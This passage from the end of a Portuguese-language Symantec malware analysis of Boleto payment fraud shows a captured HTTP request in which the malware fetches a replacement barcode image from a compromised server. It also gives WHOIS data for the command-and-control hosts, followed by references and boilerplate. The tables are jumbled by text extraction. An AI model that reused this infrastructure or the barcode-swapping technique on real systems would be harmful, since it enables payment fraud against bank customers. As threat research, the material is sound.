HTTP/1.1 200 OK Date: Thu, 02 Oct 2014 17:15:51 GMT Server: Apache/2.4.3 (Win32) OpenSSL/1.0.1c PHP/5.3.20 X-Powered-By: PHP/5.3.20 Content-Length: 0 Connection: close Content-Type: text/html

Download do código de barras do Boleto

Tabela 78. Comandos de download de Código de barras enviados pelo componente Domingo Boleto Manipulador Método Servidor de Controle Caminho Descrição GET centroactivo.pt components/com_akeeba/controllers/HTML/barras.png Download do código de barras do Boleto

O seguinte pedido é usado para baixar um código de barras Boleto para substituir o original:

GET /components/com _ akeeba/controllers/HTML/barras.png HTTP/1.1 A c c e p t: */* Referer: http://www.bradesco.com.br/html/classic/produtos-servicos/outros/2- via-de-boleto.shtm Accept-Language: en-us Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 1.1.4322) Host: centroactivo.pt Connection: Keep-Alive A resposta que se segue é uma imagem de rede portátil de gráficos (PNG) do código de barras:

HTTP/1.1 200 OK Date: Thu, 02 Oct 2014 17:15:51 GMT Server: Apache/2.4.3 (Win32) OpenSSL/1.0.1c PHP/5.3.20 Last-Modified: Thu, 08 May 2014 21:50:37 GMT ETag: “479-4f8ea78b2aa05” Accept-Ranges: bytes Content-Length: 1145 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: image/png

.PNG . . Infraestrutura Tabela 79 fornece detalhes sobre a infraestrutura de C&C utilizada para a amostra.

Tabela 79. Informação WHOIS Domínio Registro Nome do Email do Registrante Data de Endereço IP ASN Localiza- Registrante Criação ção serw.net.pl Active 24 sp. organization [email protected] 2004.10.21 188.165.23.175 AS16276 Inglaterra z o.o. centroactivo.pt AMENWORLD Centroactivo - centroactivo.qta.ro- 2001-02-19 89.154.2.1 AS12542 Lisboa - Serviços Ginasio Lda [email protected] Lisbon - Internet - Tvcabo Sociedade Portugal S.a Unipessoal Lda

Page 46 Análise de malware que visa o sistema de pagamento via Boleto

Referências

• http://www.febraban.org.br/arquivo/bancos/sitebancos2-0.asp • http://www.linhadefensiva.com/2013/04/brazilian-trojan-modifies-banking-documents-to-redirect-paymens/ • https://blogs.rsa.com/rsa-uncovers-boleto-fraud-ring-brazil/ • http://www.emc.com/collateral/white-papers/h13282-report-rsa-discovers-boleto-fraud-ring. • http://securityintelligence.com/boleto-malware-two-new-variants-discovered

Page 47 Autores Stephen Doherty Sr threat intelligence analyst

Nikolaos Tsapakis Software engineer

Sobre a Symantec A Symantec Corporation (Nasdaq: SYMC) é especialista em proteção das informações e ajuda as pessoas, empresas e governos que buscam a liberdade para desbloquear as oportunidades que a tecnologia traz - a qualquer hora e em qualquer lugar. Fundada em abril de 1982, a Symantec, uma empresa da Fortune 500, opera uma das maiores redes de inteligência de dados globais e proporciona segurança, backup e soluções de disponibilidade para onde a informação vital é armazenada, acessada e compartilhada. A companhia possui mais de 20.000 funcionários em mais de 50 países. Noventa e nove por cento das empresas da Fortune 500 são clientes da Symantec. No ano fiscal de 2014, a companhia registrou uma receita de US$ 6,7 bilhões.

Para saber mais acesse: www.symantec.com.br ou conecte-se com a Symantec no: http://www.symantec.com/social

For specific country offices and contact numbers, please visit our website.

Symantec World Headquarters Copyright © 2015 Symantec Corporation. All 350 Ellis St. rights reserved. Symantec, the Symantec Logo, Mountain View, CA 94043 USA and the Checkmark Logo are trademarks or registered trademarks of Symantec Corporation +1 (650) 527-8000 or its affiliates in the U.S. and other countries. 1 (800) 721-3934 Other names may be trademarks of their www.symantec.com respective owners.

Any technical information that is made available by Symantec Corporation is the copyrighted work of Symantec Corporation and is owned by Symantec Corporation.

NO WARRANTY . The technical information is being delivered to you as is and Symantec Corporation makes no warranty as to its accuracy or use. Any use of the technical documentation or the information contained herein is at the risk of the user. Documentation may include technical or other inaccuracies or typographical errors. Symantec reserves the right to make changes without prior notice.